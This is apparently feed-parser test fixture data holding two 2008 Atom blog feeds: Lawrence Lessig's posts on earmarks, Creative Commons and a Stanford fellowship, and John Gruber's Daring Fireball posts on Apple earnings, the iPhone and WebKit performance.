    In other words, when McCain talks about earmarks, he is talking about 3% of our annual budget deficit, .6% of our annual budget, and a number too small to even report when discussing our national debt. Or, put another way, he is talking about two months in Iraq, something he wants to keep going indefinitely.

    Not only are they lying about Palin’s involvements with earmarks, they are just not being serious about the horrible economic problems we face. These are not serious people.

    I think this is missing the point. True, earmarks are small potatoes. But the problem with earmarks is that they've become an engine of corruption. The explosion after the Republicans took over under Newt was because they were a newly deployed source of influence, designed (too often) to induce or repay a gift (or what others call, a campaign contribution).

    Liberals should be as upset with this as conservatives (though for different reasons no doubt). And we should especially (imho) resist the "if McCain believes it it must be wrong" trope. McCain is right to criticize earmarks. Whether he (or Palin) can do it credibly is a separate matter.

    ]]>     taking responsibility tag:lessig.org,2008:/blog//1.3597 2008-09-11T16:40:09Z 2008-09-11T16:42:25Z ]]> help design REMIX, the site? tag:lessig.org,2008:/blog//1.3596 2008-09-09T15:39:04Z 2008-09-10T11:47:41Z My next (and the last) copyright/culture book, Remix, will be coming out this fall, and I'm miles behind in preparing a site. If you're able to volunteer to help with the DESIGN, I'd be grateful. Please email me, and thanks! Update: Thanks for all the offers. I think I'm set on this. remixed.png

    My next (and the last) copyright/culture book, Remix, will be coming out this fall, and I'm miles behind in preparing a site. If you're able to volunteer to help with the DESIGN, I'd be grateful. Please email me, and thanks!

    Update: Thanks for all the offers. I think I'm set on this.

    ]]>     BarackBook fact check tag:lessig.org,2008:/blog//1.3595 2008-09-08T22:40:14Z 2008-09-08T22:46:45Z A tongue-in-cheek reply to my addition to GOP.com's BarackBook. A tongue-in-cheek reply to my addition to GOP.com's BarackBook.

    ]]>     Picasa Web Albums goes CC tag:lessig.org,2008:/blog//1.3594 2008-09-03T13:34:58Z 2008-09-03T13:46:36Z Very cool news this morning: the latest version of Picasa Web Albums now, like Flickr, supports Creative Commons licenses. picasa.jpg

    Very cool news this morning: the latest version of Picasa Web Albums now, like Flickr, supports Creative Commons licenses.

    ]]>     Happy Birthday to GNU tag:lessig.org,2008:/blog//1.3593 2008-09-02T14:03:32Z 2008-09-02T16:16:18Z British humorist Stephen Fry has produced a video to mark the 25th Anniversary of RMS's launch of the GNU operating system. Watch and celebrate here. This is an extraordinary milestone to mark. I'll keep a list of celebratory videos here (email me with any links). Congratulations to Richard on the success of this movement launched as an idea 25 years ago (September 27 is the date), and more importantly, thank you to Richard for this movement launched as an idea 25 years ago. fry720.jpg

    British humorist Stephen Fry has produced a video to mark the 25th Anniversary of RMS's launch of the GNU operating system. Watch and celebrate here.

    This is an extraordinary milestone to mark. I'll keep a list of celebratory videos here (email me with any links). Congratulations to Richard on the success of this movement launched as an idea 25 years ago (September 27 is the date), and more importantly, thank you to Richard for this movement launched as an idea 25 years ago.

    ]]>     from the what-passes-for-lawyering department tag:lessig.org,2008:/blog//1.3592 2008-08-28T20:40:42Z 2008-08-28T20:45:23Z tight-shorts2.png]]> CIS needs a Constitutional Law/IP fellow tag:lessig.org,2008:/blog//1.3591 2008-08-28T19:57:50Z 2008-08-28T20:02:50Z On your way to legal academics? Need some time to write, as you do some good? The Stanford CIS (fresh off of a string of incredible victories) needs a new fellow with a particular fondness for the First Amendment and IP. Specs in the extended entry below. On your way to legal academics? Need some time to write, as you do some good? The Stanford CIS (fresh off of a string of incredible victories) needs a new fellow with a particular fondness for the First Amendment and IP. Specs in the extended entry below.

    ]]> Stanford Law School Announces Center for Internet and Society and Stanford Constitutional Law Center Joint Fellowship


    The Stanford Law School Center for Internet and Society (CIS) and The
    Stanford Constitutional Law Center (CLC) announce a new joint
    fellowship for the study of the intersection of copyright and
    constitutional law. We are looking for an inaugural fellow to work
    with faculty and staff from both Centers on range of research and
    litigation projects addressing the relationship between the
    Constitution's Copyright Clause, the First Amendment and the Fair Use
    Doctrine.

    The primary responsibility for the fellow will be to work on current
    CIS Fair Use Project litigation. In addition, the Fellow will also
    be an active part of the CIS and CLC communities, attending lectures
    and symposia, assisting with Center activities and working with
    students on related projects. The Fellowship will provide significant
    opportunity for the pursuit of individual research and scholarship in
    preparation to enter the academic teaching market. The fellowship
    position is offered for one year with the opportunity for renewal.

    About the Centers

    The CIS is a leading center for the study of the relationship between
    the public interest, law and technology. Deploying scholarship,
    symposia, advocacy, or litigation as necessary, we focus on areas
    where new technologies and old laws intersect and ask whether changes
    in either are appropriate. CIS was founded by Professor of Law
    Lawrence Lessig and is headed by Executive Director Lauren Gelman.

    The Fair Use Project (FUP) is a new CIS initiative launched in 2006
    and lead by Executive Director Anthony Falzone. The FUP's mission
    is to clarify, define and expand the bounds of fair use primarily
    through litigation. The FUP also develops and promotes fair use
    education and counsels creators, such as documentary filmmakers on
    appropriate uses of copyrighted works.

    The Stanford Constitutional Law Center, founded in September 2006 by
    former dean Kathleen M. Sullivan and Derek Shaffer '00, grows out of
    the long and distinguished tradition of constitutional law
    scholarship at Stanford Law School. The Center seeks to carry on that
    tradition in a variety of ways-academic conferences, public lectures,
    policy research projects, and pro bono litigation-aimed at gathering
    consensus and advancing constitutional norms both domestically and
    internationally. Stanford law students, particularly those enrolled
    in a Constitutional Law Workshop, are intimately involved in all of
    the Center's activities.

    Applicant Requirements:

    2-5 years of post-law school civil litigation experience with
    substantial experience in constitutional law (preferred) and
    intellectual property (required) matters;

    Excellent writing and analytic skills;

    Demonstrated ability to direct litigation of impact cases; and

    Demonstrated ability to work in a self-directed and entrepreneurial
    environment.

    The position is for 12 months, with the possibility of renewal for a
    second twelve months. The start date is September 2008, although this
    may be flexible depending on the right candidates availability.
    Salary will be approximately $40,000 per year, with benefits.

    Preferred submission deadline is September 8, 2008, however
    applications will be accepted until the position is filled.

    Applicants MUST apply online via the Stanford Jobs website

    Search "Job number 31382"

    Applications may also be submitted by email to the following address:
    Gelman [at] stanford.edu.

    For more information about the CIS and the FUP, please visit here.

    For more information about the Stanford Constitutional Law Center,
    please visit our website.

    ]]>     Hey Dems: Yes You Can (from the please-get-consistent-department) tag:lessig.org,2008:/blog//1.3590 2008-08-28T15:52:16Z 2008-08-28T16:03:18Z Obama has famously (and rightfully) refused money from lobbyists and PACs. After he became the presumptive nominee, the DNC did the same. But both the Democratic Senatorial Campaign Committee and the Democratic Congressional Campaign Committee still accept money from lobbyists and PACs. As this issue of reform is (sadly) increasingly invisible in this campaign, we at Change Congress are launching a campaign to get the Dems to be consistent about this. Ideally, the DSCC and DCCC should follow Obama's lead, and swear off lobbyists & PAC money. Or at the very least, both should promise to do so if the Republicans do. We've started a petition. Please help spread it.

    Obama has famously (and rightfully) refused money from lobbyists and PACs. After he became the presumptive nominee, the DNC did the same. But both the Democratic Senatorial Campaign Committee and the Democratic Congressional Campaign Committee still accept money from lobbyists and PACs.

    As this issue of reform is (sadly) increasingly invisible in this campaign, we at Change Congress are launching a campaign to get the Dems to be consistent about this.

    Ideally, the DSCC and DCCC should follow Obama's lead, and swear off lobbyists & PAC money. Or at the very least, both should promise to do so if the Republicans do.

    We've started a petition. Please help spread it.

    ]]>     vCool CC news -- Caterina Fake joins Creative Commons board tag:lessig.org,2008:/blog//1.3589 2008-08-26T04:19:58Z 2008-08-26T18:34:56Z A FreeSoul by Joi Caterina Fake, co-founder of Flickr, has joined the Creative Commons board. News at CC. 2767721641_653321bfaa.jpg

    A FreeSoul by Joi

    Creative Commons License

    Caterina Fake, co-founder of Flickr, has joined the Creative Commons board. News at CC.

    ]]>     a plea to the press: Please just cover the convention(s) tag:lessig.org,2008:/blog//1.3588 2008-08-26T02:15:10Z 2008-08-26T18:04:14Z The Democrats have a HD broadcast of their convention, but only on some platforms, through a Microsoft product. Those fortunate enough to own the most modern technology (and (contrary to the norm) fortunate enough to have fast broadband) can get full convention coverage. The rest of America (to the extent they care, and the point may be related) are stuck with broadcasters coverage. From NPR to the networks, "coverage" means some ridiculous unprepared interview with a party has-been, while a prepared speech by someone currently significant is being given in the background. (e.g., Jim Leach, former GOP Congressman from Iowa, speaking in the background as NPR interviews Walter Mondale. Leach's speech was fantastic. Mondale's, well, you get the point.) Please, networks, and especially, NPR, can you please just cover the convention -- both the Democratic and Republican. Obviously, it is party propaganda. But it is also American politics. It is ridiculous that the only people who actually get to see what each party believes it should say are those who are at the Convention, or those with powerful computers and fast technology. The Democrats have a HD broadcast of their convention, but only on some platforms, through a Microsoft product. Those fortunate enough to own the most modern technology (and (contrary to the norm) fortunate enough to have fast broadband) can get full convention coverage.

    The rest of America (to the extent they care, and the point may be related) are stuck with broadcasters coverage. From NPR to the networks, "coverage" means some ridiculous unprepared interview with a party has-been, while a prepared speech by someone currently significant is being given in the background. (e.g., Jim Leach, former GOP Congressman from Iowa, speaking in the background as NPR interviews Walter Mondale. Leach's speech was fantastic. Mondale's, well, you get the point.)

    Please, networks, and especially, NPR, can you please just cover the convention -- both the Democratic and Republican. Obviously, it is party propaganda. But it is also American politics. It is ridiculous that the only people who actually get to see what each party believes it should say are those who are at the Convention, or those with powerful computers and fast technology.

    ]]>     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-daringfireball.net-index.xml0000664000175000017500000022171012653701626026353 0ustar janjan Daring Fireball Mac and web curmudgeonry/nerdery. By John Gruber. http://daringfireball.net/feeds/combo 2008-07-22T00:26:58ZCopyright © 2008, John Gruber Apple Shares Fall in After Hours Trading tag:daringfireball.net,2008:/linked//6.13189 2008-07-21T20:26:58-04:00 2008-07-21T20:26:58-04:00 John Gruber http://daringfireball.net/ Rex Crum, reporting for MarketWatch:

    However, Apple’s shares fell 9% in after-hours trading as the company gave one of its typically conservative fourth-quarter earnings forecasts that fell short of Wall Street analysts’ expectations. A similar event took place following the company’s prior quarterly report in April, when a conservative forecast sent the stock tumbling despite strong results for the period.

    Now’s a good time to re-read the piece I linked to over the weekend from Andy Zaky on Wall Street’s misguided obsession with Apple’s conservative guidance numbers.

    ]]>         TechCrunch Is Building a Web Tablet tag:daringfireball.net,2008:/linked//6.13187 2008-07-21T20:00:58-04:00 2008-07-21T20:00:58-04:00 John Gruber http://daringfireball.net/ They don’t know what the components will cost and they’re going to use volunteer labor to write the software, but they’re hoping it costs $200 or so and to have a prototype ready soon. Good luck with that.

    ]]>         [Sponsor] Superbiate & Son, Inc. tag:daringfireball.net,2008:/feeds/sponsors//11.13185 Daring Fireball Sponsorbot 2008-07-21T18:26:20-04:00 2008-07-21T18:26:20-04:00 Superbiate & Son, Inc. is the storefront of George Del Barrio, a photographer from New York. His portraiture is concerned with reporting on revelations of soul and the search for truth in beauty. Clients include VSA Partners, Lehman Brothers, The Posse Foundation and The South China Morning Post. George specializes in large format studio and location work and is available for travel assignments worldwide. For bookings, portfolio requests or more information, please contact Matthew Bogosian at the Vanderbilt Republic.

    ]]>         Macworld Live Coverage of Apple’s Q3 2008 Conference Call tag:daringfireball.net,2008:/linked//6.13183 2008-07-21T17:36:15-04:00 2008-07-21T17:36:15-04:00 John Gruber http://daringfireball.net/ Here’s the answer to a question about Steve Jobs’s health:

    “Steve loves Apple, he serves as CEO at pleasure of Apple’s board and has no plans to leave. Steve’s health is a private matter.”

    Good answer.

    ]]>         Apple Reports Record Third Quarter Results tag:daringfireball.net,2008:/linked//6.13181 2008-07-21T17:27:05-04:00 2008-07-21T17:27:05-04:00 John Gruber http://daringfireball.net/ Apple:

    The Company posted revenue of $7.46 billion and net quarterly profit of $1.07 billion, or $1.19 per diluted share. These results compare to revenue of $5.41 billion and net quarterly profit of $818 million, or $.92 per diluted share, in the year-ago quarter. Gross margin was 34.8 percent, down from 36.9 percent in the year-ago quarter. International sales accounted for 42 percent of the quarter’s revenue.

    Apple shipped 2,496,000 Macintosh computers during the quarter, representing 41 percent unit growth and 43 percent revenue growth over the year-ago quarter. The Company sold 11,011,000 iPods during the quarter, representing 12 percent unit growth and seven percent revenue growth over the year-ago quarter. Quarterly iPhone units sold were 717,000 compared to 270,000 in the year-ago-quarter.

    41 percent year-over-year growth in Mac sales. Astounding. Where does this growth end?

    iPod sales are up, too, which is interesting, given the iPhone. (These iPhone numbers are irrelevent, in that this year’s numbers cover the quarter leading up to the iPhone 3G, for much of which time iPhones weren’t even available for sale. And last year’s numbers for Q3 only covered the first two days the iPhone was available for sale.)

    ]]>         The History of AppleScript (PDF) tag:daringfireball.net,2008:/linked//6.13179 2008-07-21T17:12:14-04:00 2008-07-21T17:12:14-04:00 John Gruber http://daringfireball.net/ Fascinating 37-page paper on the history of AppleScript, written in 2006 by one of AppleScript’s original creators, William R. Cook. If you’ve ever wondered why AppleScript is the way it is, this is the best explanation I’ve ever seen.

    News to me is that Apple originally developed an alternative “Professional” dialect, wherein this bit of English AppleScript:

    the first character of every word whose style is bold

    could be written like this in the Professional dialect:

    { words | style == bold }.character[1]

    What a shame they abandoned that.

    ]]>         Peter Merholz Interviews Michael B. Johnson of Pixar tag:daringfireball.net,2008:/linked//6.13177 2008-07-21T16:49:58-04:00 2008-07-21T16:49:58-04:00 John Gruber http://daringfireball.net/ Michael B. Johnson, on Pixar’s practice of creating a complete prototype of every film before starting work on the actual movie:

    We’d much rather fail with a bunch of sketches that we did (relatively) quickly and cheaply, than once we’ve modeled, rigged, shaded, animated, and lit the film. “Fail fast,” that’s the mantra. With a team of 10-20 people (director, story artists, editorial staff, production designer and artists, and skeleton production management) you can make, remake, and remake again a movie that once it hits 3D will take an order of magnitude more people to execute. The complexity of the task does not ramp up linearly.

    Johnson leads Pixar’s internal software tools team — his annual lunchtime talks at WWDC fill to standing-room only.

    ]]>         End of the Line for ‘Ebert and Roeper’ TV Show tag:daringfireball.net,2008:/linked//6.13175 2008-07-21T16:29:32-04:00 2008-07-21T16:29:32-04:00 John Gruber http://daringfireball.net/ The show hasn’t been the same since Gene Siskel died — he and Ebert were simply perfect together. But the basic format was brilliant for a TV show for film criticism. (Via Andy Ihnatko.)

    ]]>         Sony’s Amazing Crapware-Free PC tag:daringfireball.net,2008:/linked//6.13173 2008-07-21T15:26:43-04:00 2008-07-21T15:26:43-04:00 John Gruber http://daringfireball.net/ Ed Bott:

    Sony is finally taking on its crapware problem. For the past two months, I’ve been using an astonishingly light and agile Sony VAIO notebook and loving every minute of it. The best part of all was that this machine was absolutely, completely, unequivocally crapware-free, which meant I was able to be productive within a few minutes of unboxing.

    Good for Sony, but Bott’s enthusiasm is like being amazed after buying a sandwich that wasn’t spit in.

    ]]>         Icahn Drops Proxy Fight, Yahoo Puts Him on Board tag:daringfireball.net,2008:/linked//6.13171 2008-07-21T15:06:09-04:00 2008-07-21T15:06:09-04:00 John Gruber http://daringfireball.net/ Yahoo to Carl Icahn: “You’re an idiot, your ideas for what we should do are wrong, welcome to our board.”

    ]]>         iPhone Native Apps — The Great Leap Backwards? tag:daringfireball.net,2008:/linked//6.13169 2008-07-21T13:36:14-04:00 2008-07-21T13:36:14-04:00 John Gruber http://daringfireball.net/ John Allsop arguing that most of the native iPhone apps he’s looked at would be better off as web apps. He has a good point but overstates his case.

    He mentions Cocktails as an example that could have been an iPhone web app a year ago with “a little bit of CSS”, and links to PocketBar, an iPhone web app that serves the same purpose. But Cocktails is far slicker and far faster than PocketBar. That may not be worth $10 to most people, but it’s worth $10 to me.

    (Via Ajaxian.)

    ]]>         Tim Bray on Mobile Software Development tag:daringfireball.net,2008:/linked//6.13167 2008-07-21T12:49:57-04:00 2008-07-21T12:49:57-04:00 John Gruber http://daringfireball.net/ Tim Bray, gloomy on the prospects of mobile software development:

    But there’s a little problem and a big problem. The little problem is that I don’t wanna learn Objective-C and I don’t wanna learn a whole new UI framework. I acknowledge that lots of smart people think Objective-C and Cocoa are both wonderful, and quite likely they’re right. I don’t care. I’m lazy; I know enough languages and enough frameworks. You’re free to disapprove, but there are a whole lot of people like me out there.

    The big problem is this: I don’t wanna be a sharecropper on Massa Steve’s plantation. I don’t want to write code for a platform where there’s someone else who gets to decide whether I get to play and what I’m allowed to sell, and who can flip my you’re-out-of-business-switch any time it furthers their business goals.

    These are both reasonable objections to writing native iPhone software. But there is never going to be a phone with a native API framework that isn’t new. Sure, most do and perhaps will continue to use Java as the language, but I’d say that learning Cocoa Touch (the framework) is a far bigger obstacle than learning Objective-C (the language), especially for someone like Bray, who knows C.

    But the big thing Bray seems to be overlooking is mobile web app development. If your primary concerns are like his — (a) not wanting to learn new languages and frameworks, (b) not wanting your software distribution under anyone else’s control, and (c) not wanting to be tied to one proprietary device — web app development solves all three.

    ]]>         Good News, Eh? tag:daringfireball.net,2008:/linked//6.13165 2008-07-21T11:51:38-04:00 2008-07-21T11:51:38-04:00 John Gruber http://daringfireball.net/ Sprint Connection:

    The iPhone shortage may be good news for Sprint, which launched the iPhone-challenging Samsung Instinct in June.

    Yes, the more iPhone customers AT&T signs up, the better it gets for Sprint.

    ]]>         The Fallacy of Choice tag:daringfireball.net,2008:/linked//6.13163 2008-07-21T11:39:39-04:00 2008-07-21T11:39:39-04:00 John Gruber http://daringfireball.net/ The Linux Hater’s Blog:

    So not only does the addition of so many choices alienate would be users, it also makes it difficult for developers to create tested, working configurations. It’s a double whammy. Obsession with providing choice it every level actively works against efforts that would otherwise push Linux to provide what the mainstream wants.

    ]]>         iPhone 3G Sold Out Nationwide tag:daringfireball.net,2008:/linked//6.13161 2008-07-20T21:25:18-04:00 2008-07-21T00:43:27-04:00 John Gruber http://daringfireball.net/ I just went through Apple’s iPhone availability checker for all 50 states in the U.S.: one store in Hawaii has one model (8 GB), one store in California (out of 38 in the state) has one model (16 GB black), and the Fifth Avenue flagship store in New York has one model (16 GB white). That’s it.

    So much for my “just wait a week and then cruise in and pick one up in five minutes” plan.

    Update: I mistakenly skipped New Hampshire, where they still have one model (16 GB white) at the Rockingham Mall. We regret the error.

    ]]>         ★ WebKit Performance on iPhone OS X 2.0 tag:daringfireball.net,2008://1.13157 2008-07-20T13:27:22-04:00 2008-07-20T13:27:22-04:00 John Gruber http://daringfireball.net/ WebKit's JavaScript performance is dramatically improved in iPhone OS X 2.0. As part of the iPhone SDK developer program, I’ve been running a seed of the GM build of the new OS on my original iPhone for a few weeks now. Overall, there are surprisingly few visible changes to the system. Many of the built-in apps are, at least visibly, identical to the versions in iPhone OS 1.1.4. This includes Safari — if anything has changed in Safari’s user interface, I haven’t noticed it.1

    But under the hood, MobileSafari 2.0’s performance is hugely improved over 1.1.4. Everything related to web surfing feels faster, and in side-by-side comparisons using my wife’s iPhone running 1.1.4, web pages consistently load faster on 2.0, both via Wi-Fi and EDGE. This has nothing to do with the new iPhone 3G hardware — this is about dramatic performance improvements on original iPhones upgraded to the 2.0 OS.

    Using MobileSafari simply feels faster, especially with web applications. Feel is by nature subjective, but JavaScript benchmarks back this up.

    In August last year, Craig Hockenberry posted a few simple benchmarks to compare the iPhone’s processing power and JavaScript interpreter against Safari 3 running on a Mac with a 1.83 GHz Core Duo. At that time, the current version of the iPhone OS was 1.0.1. Here are the results of those same benchmarks on original iPhones running the 1.1.4 and new 2.0 OS versions, with Hockenberry’s 1.0.1 results included for comparison:

    Test 1.0.1 1.1.4 2.0 Vs. 1.0.1 / 1.1.4
    100,000 iterations 3.209 1.096 0.145 22× / 8×
    10,000 divisions 0.413 0.181 0.029 14× / 6×
    10,000 sin(x) calls 0.709 0.373 0.140 5× / 3×
    10,000 string allocations 0.777 0.434 0.133 6× / 3×
    10,000 function calls 0.904 0.595 0.115 8× / 5×

    The last column shows how many times faster the 2.0 version of MobileSafari was versus 1.0.1 and 1.1.4. The same results, charted (smaller bars are faster):

    Chart displaying the results of the above table.

    The results are obvious. WebKit JavaScript performance has improved steadily and significantly in just one year, with a huge jump between 1.1.4 and the new 2.0.0.

    I also tested both iPhone 1.1.4 and 2.0.0 against Celtic Kane’s JavaScript benchmarks. The average time over three runs for iPhone 1.1.4 was 8,945 ms; for iPhone 2.0 it was 5,307 — just under 1.7 times faster. (For comparison, Safari 3.1.2 on my 2.5 GHz MacBook Pro took just 133 ms — 40 times faster than the iPhone.)

    The tests I ran here were specific to JavaScript, but I strongly suspect WebKit performance has improved across the board. In side-by-side page loading tests between two original iPhones running 1.1.4 and 2.0.0, the new version consistently finished at least a few seconds faster.

    For all the hubbub regarding the new App Store, most “iPhone software” runs in the web browser. But improvements in WebKit performance often help native iPhone app performance, too — a slew of my favorite native iPhone apps have built-in WebKit browsers (e.g., NetNewsWire, Twitterrific, Instapaper, and Cocktails). When WebKit performance improves, any app that uses WebKit improves, and WebKit improved a lot between iPhone 1.1.4 and 2.0.0.

    1. Except for the very cool new feature where you can tap-and-hold on an image to bring up a dialog that lets you save the image to your iPhone camera roll. ↩

    ]]>         OpenMoko Usability Train Wreck tag:daringfireball.net,2008:/linked//6.13155 2008-07-19T13:40:08-04:00 2008-07-19T13:40:08-04:00 John Gruber http://daringfireball.net/ Dave Fayram’s hilarious video demonstrating the OpenMoko user interface and on-screen keyboard. Don’t miss his follow-up video showing an alternative interface also in development. This is the phone the FSF wants would-be iPhone buyers to wait for — and which is currently selling for $400.

    ]]>         Shake It Like a Metaphorical Picture tag:daringfireball.net,2008:/linked//6.13153 2008-07-19T13:28:27-04:00 2008-07-19T13:28:27-04:00 John Gruber http://daringfireball.net/ Jason Santa Maria on Polaroid’s decision to stop producing instant film.

    ]]>         Apple’s Complaint Against Psystar tag:daringfireball.net,2008:/linked//6.13151 2008-07-19T13:16:18-04:00 2008-07-19T13:16:18-04:00 John Gruber http://daringfireball.net/ Philip Michaels summarizes the complaint Apple filed against would-be Mac cloner Psystar.

    ]]>         Starbucks Closure List tag:daringfireball.net,2008:/linked//6.13149 2008-07-19T12:24:26-04:00 2008-07-19T12:24:26-04:00 John Gruber http://daringfireball.net/ The Huffington Post has the full list of Starbucks stores that are closing. None in Philly.

    ]]>         ★ Distant and Remote tag:daringfireball.net,2008://1.13145 2008-07-18T20:13:29-04:00 2008-07-18T20:13:29-04:00 John Gruber http://daringfireball.net/ Apple's new iPhone 'Remote' app works as a remote keyboard for Apple TV. One thing that stinks about Apple TV is the on-screen keyboard. You don’t need to type often, but when you do — like for searching YouTube, or entering a Wi-Fi password — you get a crummy on-screen keyboard (ABCDEF rather than QWERTY) that you have to navigate using the up/down/left/right buttons on the little remote.

    But it ends up Apple’s new Remote app for the iPhone solves this. Any time you need to type on Apple TV, if you have the Remote app open on your iPhone, the keyboard will appear and you can just type on your iPhone instead. Characters are reflected live on the Apple TV as you type.

    A nice little touch, and, as far as I can tell, something Apple hasn’t mentioned as one of the Remote app’s features. (Thanks to DF reader Earl Misquitta for the tip.)

    ]]>         From the DF Archives: A Wee Bit More on AAC, Ogg, and MP3 tag:daringfireball.net,2008:/linked//6.13143 2008-07-18T18:24:28-04:00 2008-07-18T18:24:28-04:00 John Gruber http://daringfireball.net/ One of the Free Software Foundation’s complaints regarding the iPhone (and Apple in general) is the lack of support for “free” media file formats such as Ogg Vorbis. Here’s what I wrote last year:

    With regard to Ogg Vorbis, or the idea of “free” codecs in general, the consensus seems to be that this is an ugly patent lawsuit waiting to happen. Yes, the creators of Ogg Vorbis have released the format (and source code for encoding and playback) openly, but the holders of the patents behind MP3 (and other patented codecs) very likely consider part of Ogg Vorbis to violate their patents. If Apple, or any other company with a serious amount of money behind it, were to use Ogg Vorbis in a mainstream widely-used product, it could lead to an expensive lawsuit.

    Do software patents suck? Yes. Is it possible that Ogg Vorbis does not actually infringe on anyone’s patent, but that some patent holder could sue and win even though they shouldn’t? Yes. The point is, Ogg Vorbis is intended to be free, and it would be great if it were free, but no one with deep pockets has yet tested the water to see whether it really is. Worse, there are some experts who do believe that Ogg violates at least one significant patent.

    Perhaps the same goes for why Apple chose to create the Apple Lossless format rather than use FLAC. For Apple to support Ogg Vorbis would be to take a potentially large risk (a lawsuit, by, say, Fraunhofer, an MP3 patent holder) for an utterly minuscule financial upside (whatever handful of people exist who won’t buy an iPod or iPhone now but would if Apple supported Ogg Vorbis).

    In short, Apple supporting Ogg Vorbis makes wonderful political sense, but no business sense whatsoever.

    ]]>         iPhone Development NDA Holding Up Books and Screencasts tag:daringfireball.net,2008:/linked//6.13141 2008-07-18T17:31:45-04:00 2008-07-18T17:31:45-04:00 John Gruber http://daringfireball.net/ Dave Thomas on how the NDA surrounding the iPhone SDK is preventing Pragmatic Programmers from publishing books and screencasts on iPhone Development:

    So, to write a book about the iPhone SDK, you have to download it. In order to download it, you have to accept the agreement. And the agreement says that the download will contain confidential information that you can’t pass on to third parties. That makes it hard to publish the book. And, if that wasn’t enough, it also appears that you can’t even use the word “iPhone” (for example, in a book title).

    The secrecy was frustrating but understandable while the SDK was in beta. Now it’s just frustrating.

    ]]>         Charlie Sorrel Interviews Brent Simmons Regarding iPhone Development tag:daringfireball.net,2008:/linked//6.13139 2008-07-18T17:27:53-04:00 2008-07-18T17:27:53-04:00 John Gruber http://daringfireball.net/ Brent Simmons:

    The secrecy makes it difficult. For Mac programming, there are all kinds of resources — mailing lists, bits of code posted on the web, wikis, other developers — to help out. It makes a difference. For iPhone programming, no. We’re not supposed to discuss actually programming on the iPhone with anybody — even though that would raise the quality of the apps.

    ]]>         What’s With the Irrational Preoccupation of Apple’s Guidance? tag:daringfireball.net,2008:/linked//6.13137 2008-07-18T17:14:10-04:00 2008-07-18T17:14:10-04:00 John Gruber http://daringfireball.net/ One of the smartest investor-oriented pieces about Apple I’ve seen, from Andy M. Zaky.

    ]]>         Tap Tap Tap tag:daringfireball.net,2008:/linked//6.13135 2008-07-18T16:23:43-04:00 2008-07-18T16:23:43-04:00 John Gruber http://daringfireball.net/ My thanks to Tap Tap Tap for sponsoring this week’s DF RSS feed. Tap Tap Tap makes “tasty bits for your iPhone”, and their first two apps are very well done: Where To, a $3 app for finding nearby restaurants, stores, services, and more; and Tipulator, a $1 tip calculator.

    A year ago I was dismissive of the idea of a dedicated “tip calculator”, but I got a bunch of emails about that from DF readers who clearly didn’t enjoy math class as much as I did. There are a bunch of tip calculators in the App Store already, and eventually I’m sure there will be dozens — but what Tipulator has going for it is that it looks and feels like the tip calculator that Apple would make if Apple were to make one. A few simple features with a very detailed UI.

    ]]>         Counterpoint tag:daringfireball.net,2008:/linked//6.13133 2008-07-18T11:17:33-04:00 2008-07-18T11:17:33-04:00 John Gruber http://daringfireball.net/ Darby Lines sees it otherwise.

    ]]>         Point tag:daringfireball.net,2008:/linked//6.13131 2008-07-18T11:13:44-04:00 2008-07-18T11:13:44-04:00 John Gruber http://daringfireball.net/ Gina Trapani on the Free Software Foundation’s iPhone screed.

    ]]>         iPhone 3Gs in Short Supply tag:daringfireball.net,2008:/linked//6.13129 2008-07-18T11:01:07-04:00 2008-07-18T11:01:07-04:00 John Gruber http://daringfireball.net/ Only one out of four Apple Stores has any in stock, and the black 16 GB model is even harder to find.

    ]]>         Twinkle 1.0 tag:daringfireball.net,2008:/linked//6.13127 2008-07-17T22:23:05-04:00 2008-07-17T22:23:05-04:00 John Gruber http://daringfireball.net/ Twinkle, previously a jailbreak API Twitter client, has been revised and expanded by Tapulous and is now available for free at the App Store. It’s an interesting contrast with Twitterrific — even ignoring cosmetic differences, the two apps take significantly different UI approaches.

    ]]>         The Free Software Foundation’s Five Reasons Not to Buy an iPhone tag:daringfireball.net,2008:/linked//6.13125 2008-07-17T20:04:37-04:00 2008-07-17T20:04:37-04:00 John Gruber http://daringfireball.net/ They’re accusing Apple of concocting the whole thing as some sort of profit-making scheme.

    ]]>         Sean Tevis: Running for Office xkcd-Style tag:daringfireball.net,2008:/linked//6.13123 2008-07-17T19:58:27-04:00 2008-07-17T19:58:27-04:00 John Gruber http://daringfireball.net/ Information architect Sean Tevis is running for the state legislature in Kansas. An innovative way to bootstrap a campaign.

    ]]>         Demographics Is Destiny tag:daringfireball.net,2008:/linked//6.13121 2008-07-17T19:15:36-04:00 2008-07-17T19:15:36-04:00 John Gruber http://daringfireball.net/ Fraser Speirs, predicting (rightly, I think) that the iPhone OS will be Apple’s main platform four years from now:

    Put this another way: my iPhone app, Exposure, has picked up on average 3,200 new users per day since the App Store opened. Exposure already has twice as many users as FlickrExport for Aperture.

    ]]>         Stanley Kubrick’s Notebooks tag:daringfireball.net,2008:/linked//6.13119 2008-07-17T18:57:21-04:00 2008-07-17T18:57:21-04:00 John Gruber http://daringfireball.net/ I put together a small photoset of stills from Jon Ronson’s new documentary Stanley Kubrick’s Boxes — “A biography of a remarkably talented man as seen though the rich collection of material he left behind.”

    It ends up Kubrick was a bit of a notebook and stationery aficionado.

    ]]>         PHP Syntax Checking in BBEdit tag:daringfireball.net,2008:/linked//6.13117 2008-07-17T15:45:00-04:00 2008-07-17T15:45:00-04:00 John Gruber http://daringfireball.net/ Back in December 2003, I posted this AppleScript to add a simple PHP syntax checker to BBEdit. I just fixed a few minor bugs, so if you’ve already got a copy, you might want to replace your version with the current script.

    ]]>         Richard Solo Backup Battery for iPhone and iPod tag:daringfireball.net,2008:/linked//6.13115 2008-07-17T15:06:56-04:00 2008-07-17T15:06:56-04:00 John Gruber http://daringfireball.net/ $50 external battery for iPhones and iPods. (Via Steven Sande.)

    ]]>         For a Phone tag:daringfireball.net,2008:/linked//6.13113 2008-07-17T14:05:54-04:00 2008-07-17T14:05:54-04:00 John Gruber http://daringfireball.net/ Lance Arthur on his experience in line for an iPhone 3G. (Via Kottke.)

    ]]>         Apple Fixes App Store Alphabetical Listings tag:daringfireball.net,2008:/linked//6.13111 2008-07-17T13:19:01-04:00 2008-07-17T13:19:01-04:00 John Gruber http://daringfireball.net/ I still say they should sort by a criterion other than alphabetical by default.

    ]]>         Cocktails 1.0 tag:daringfireball.net,2008:/linked//6.13109 2008-07-17T11:18:52-04:00 2008-07-17T11:18:52-04:00 John Gruber http://daringfireball.net/ Nicely designed $10 iPhone App from Skorpiostech: a searchable cocktail recipe database. Check out Bill Bumgarner’s review. I love the way that the older the recipe is, the older the “paper” looks.

